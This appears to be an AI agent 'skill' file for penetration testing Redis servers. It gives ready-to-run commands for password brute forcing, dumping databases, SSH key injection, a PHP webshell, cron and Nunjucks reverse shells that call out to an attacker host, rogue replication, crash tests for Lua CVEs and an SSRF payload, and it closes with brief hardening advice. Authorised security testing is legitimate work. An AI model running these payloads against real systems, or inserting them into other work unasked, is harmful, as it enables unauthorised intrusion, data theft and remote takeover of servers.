redis-pentesting

name

redis-pentesting

description

Pentest Redis instances (port 6379) for enumeration, authentication bypass, data exfiltration, and RCE. Use this skill whenever the user mentions Redis, port 6379, key-value stores, in-memory databases, or needs to test Redis security. This includes checking for authentication, dumping databases, exploiting misconfigurations, and testing for known CVEs like CVE-2025-49844, CVE-2025-46817, CVE-2025-46818.

Redis Pentesting Skill

A comprehensive skill for testing Redis instances for security vulnerabilities, from enumeration to remote code execution.

When to Use This Skill

Use this skill when:

• You need to test a Redis instance (default port 6379)
• You're doing penetration testing on a target with Redis exposed
• You need to enumerate Redis databases and keys
• You want to check for authentication bypass or weak credentials
• You need to exploit Redis misconfigurations for RCE
• You're testing for Redis-specific CVEs
• You have SSRF access to a Redis instance

Quick Start

# Basic connection test
redis-cli -h <target> -p 6379

# Or with netcat for raw protocol access
nc -vn <target> 6379

Enumeration

Automatic Enumeration

Use these tools for initial reconnaissance:

# Nmap redis-info script
nmap --script redis-info -sV -p 6379 <target>

# Metasploit scanner
msfconsole
use auxiliary/scanner/redis/redis_server
set RHOSTS <target>
run

Manual Enumeration

Connect and run basic commands:

# Connect with redis-cli
redis-cli -h <target> -p 6379

# Get server information
INFO

# Check connected clients
CLIENT LIST

# Get configuration (may be restricted)
CONFIG GET *

# Monitor commands in real-time
MONITOR

# Get slow queries
SLOWLOG GET 25

Check Authentication Status

# Try INFO without auth - if you get:
# -NOAUTH Authentication required.
# Then credentials are needed

# If you get server info, Redis is unauthenticated

Authentication Testing

Default Credentials

Redis often runs without authentication by default. If authentication is required:

# Try common passwords
AUTH default
AUTH default password
AUTH default password123
AUTH default admin
AUTH default redis

# Or with username:password format
AUTH <username> <password>

Brute Force

If you suspect authentication is enabled, use brute force tools:

# Using redis-cli with wordlist
for pass in $(cat wordlist.txt); do
  redis-cli -h <target> -a "$pass" PING 2>/dev/null && echo "Password: $pass" && break
done

Database Enumeration

Find Active Databases

# Check which databases have data
INFO keyspace

# Select a database (0-15 by default)
SELECT 0
SELECT 1
# etc.

# List all keys in current database
KEYS *

# Get key type
TYPE <key>

# Get key value (for strings)
GET <key>

# Get list items
LRANGE <key> 0 -1

# Get hash items
HGET <key> <field>
HGETALL <key>

# For complex types, use DUMP
DUMP <key>

Dump Entire Database

# Using redis-dump (npm)
npm install -g redis-dump
redis-dump -h <target> -p 6379 -o dump.rdb

# Using redis-utils (python)
pip install redis-utils
redis-dump -h <target> -p 6379 -o dump.rdb

Remote Code Execution Techniques

Technique 1: SSH Key Injection

This is the most reliable RCE method when you can write to the Redis user's home directory.

# 1. Generate SSH key pair
ssh-keygen -t rsa -f redis_exploit -N ""

# 2. Format the public key with newlines
echo -e "\n\n" > spaced_key.txt
cat redis_exploit.pub >> spaced_key.txt
echo -e "\n\n" >> spaced_key.txt

# 3. Import into Redis
cat spaced_key.txt | redis-cli -h <target> -x set ssh_key

# 4. Write to authorized_keys
redis-cli -h <target>
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SAVE

# 5. Connect via SSH
ssh -i redis_exploit redis@<target>

Alternative user discovery:

# Try common user home directories
redis-cli -h <target> CONFIG SET dir /home/<username>/.ssh
redis-cli -h <target> CONFIG SET dbfilename authorized_keys
redis-cli -h <target> SAVE

Technique 2: PHP Webshell

When you know the web root path:

redis-cli -h <target>
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system(\$_GET['cmd']); ?>"
SAVE

# Access via browser
# http://<target>/shell.php?cmd=id

Technique 3: Crontab Injection

# Create reverse shell payload
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h <target> -x set cronjob

# Write to crontab
redis-cli -h <target> CONFIG SET dir /var/spool/cron/crontabs/
redis-cli -h <target> CONFIG SET dbfilename root
redis-cli -h <target> SAVE

# For CentOS:
# redis-cli -h <target> CONFIG SET dir /var/spool/cron/

Technique 4: Template Injection

For applications using template engines (Jinja2, Nunjucks, etc.):

# Nunjucks reverse shell
redis-cli -h <target>
CONFIG SET dir /path/to/templates
CONFIG SET dbfilename template.html
SET payload '{{ ({}).constructor.constructor("var net = global.process.mainModule.require(\'net\'), cp = global.process.mainModule.require(\'child_process\'), sh = cp.spawn(\'sh\', []); var client = new net.Socket(); client.connect(<port>, \'<attacker_ip>\', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });")() }}'
SAVE

Technique 5: Master-Slave Replication

Force the target to replicate from your controlled Redis server:

# On your machine, start a Redis server
redis-server --port 6379

# On target, force replication
redis-cli -h <target>
SLAVEOF <your_ip> 6379

# Now commands on your Redis sync to target
redis-cli -h localhost
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SET <your_public_key>
SAVE

CVE Exploitation

CVE-2025-49844 - Lua Parser Use-After-Free

Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

# Test for vulnerability (may crash server)
redis-cli -h <target> -a <password> EVAL "\nlocal a = string.rep('asdf', 65536); \ncollectgarbage('collect'); \nlocal src = string.rep('x', 1024 * 1024); \nlocal f = loadstring(src); \nreturn 'done'" 0

# If server crashes, it's vulnerable

CVE-2025-46817 - Integer Overflow in unpack

Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

# Test for vulnerability (DoS)
redis-cli -h <target> -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0

# Server should crash or OOM if vulnerable

CVE-2025-46818 - Metatable Poisoning

Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

# Test for metatable poisoning
redis-cli -h <target> -a <password> EVAL "\ngetmetatable('').__index = function(_, key) \n  if key == 'testfunc' then \n    return function() return 'testfuncoutput' end \n  end \nend; \nreturn ('teststring').testfunc()" 0

# Returns 'testfuncoutput' if vulnerable

SSRF to Redis

If you have SSRF access, you can send Redis commands directly:

# Basic SSRF payload
GET /?url=redis://127.0.0.1:6379/ HTTP/1.1
Host: target

# With CRLF injection for multi-command
GET /?url=redis://127.0.0.1:6379/%0D%0A%20multi%0D%0A%20set%20test%20value%0D%0A%20exec%0D%0A HTTP/1.1
Host: target

Security Hardening Recommendations

After testing, recommend these fixes:

1. Enable authentication:

   requirepass strong_password_here
   

2. Bind to localhost only:

   bind 127.0.0.1
   

3. Disable dangerous commands:

   rename-command FLUSHDB ""
   rename-command FLUSHALL ""
   rename-command CONFIG ""
   rename-command DEBUG ""
   

4. Use TLS/SSL:

   tls-port 6379
   port 0
   tls-cert-file /path/to/cert.pem
   tls-key-file /path/to/key.pem
   

5. Set memory limits:

   maxmemory 256mb
   maxmemory-policy allkeys-lru
   

Useful Commands Reference

Command	Description
INFO	Server information
CLIENT LIST	Connected clients
CONFIG GET *	Configuration
KEYS *	All keys (use cautiously)
TYPE <key>	Key data type
GET <key>	String value
HGETALL <key>	Hash fields
LRANGE <key> 0 -1	List items
DUMP <key>	Raw value dump
MONITOR	Real-time command log
SLOWLOG GET 25	Slow queries
MODULE LIST	Loaded modules

Tools

• redis-cli - Official Redis CLI
• nmap - Port scanning with redis-info script
• redis-dump - Database backup tool
• redis-rogue-server - Rogue server for RCE
• redis-rce-ssh - Automated SSH key injection

Notes

• Redis uses a text-based protocol - you can communicate via netcat
• Default port is 6379, but can be changed
• Databases are numbered 0-15 by default
• Commands can be renamed or disabled in redis.conf
• Some template engines cache templates - may need to restart service
• Always check CONFIG GET dir early to know where Redis can write
• The save command writes the current database to disk
• Use SELECT <db> to switch databases before operations